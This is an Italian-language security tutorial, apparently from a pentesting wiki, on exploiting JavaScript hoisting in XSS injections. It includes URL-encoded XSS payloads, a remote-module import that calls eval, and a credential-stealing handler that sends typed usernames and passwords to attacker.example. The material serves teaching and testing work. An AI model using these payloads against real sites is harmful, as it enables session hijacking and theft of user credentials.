JS Hoisting

Reading time: 7 minutes

Informazioni di base

Nel linguaggio JavaScript esiste un meccanismo noto come Hoisting per cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente spostate all'inizio del loro scope prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.

Durante il primo passaggio, il motore esegue il parsing del codice per verificare la presenza di errori di sintassi e lo trasforma in un albero di sintassi astratto. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate in cima al contesto di esecuzione. Se la fase di parsing ha successo, cioè non rileva errori di sintassi, l'esecuzione dello script procede.

È fondamentale capire che:

1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole sintattiche devono essere rispettate rigorosamente.
2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.

Tipi di Hoisting

Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript:

1. Value Hoisting: Permette di utilizzare il valore di una variabile all'interno del suo scope prima della sua linea di dichiarazione.
2. Declaration Hoisting: Permette di riferirsi a una variabile nel suo scope prima della dichiarazione senza causare un ReferenceError, ma il valore della variabile sarà undefined.
3. Questo tipo altera il comportamento all'interno del suo scope a causa della dichiarazione della variabile prima della sua reale linea di dichiarazione.
4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.

In dettaglio, le dichiarazioni di function mostrano il comportamento di hoisting di tipo 1. La keyword var dimostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono let, const e class, mostrano il comportamento di tipo 3. Infine, le istruzioni import sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 sia di tipo 4.

Scenari

Pertanto, se hai scenari in cui puoi Inject JS code after an undeclared object (quando un oggetto non dichiarato viene usato), potresti correggere la sintassi dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Altri scenari

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Anticipare dichiarazioni successive bloccando un nome con const

Se puoi eseguire codice prima che una top-level function foo(){...} venga parsata, dichiarare un binding lessicale con lo stesso nome (es., const foo = ...) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere abusato in RXSS per hijackare handler critici definiti più avanti nella pagina:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Note

• Questo si basa sull'ordine di esecuzione e sull'ambito globale (top-level).
• Se il tuo payload viene eseguito dentro eval(), ricorda che const/let dentro eval sono block-scoped e non creeranno binding globali. Inietta un nuovo elemento <script> con il codice per stabilire un vero const globale.

Riferimenti

• https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
• https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
• https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
• From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough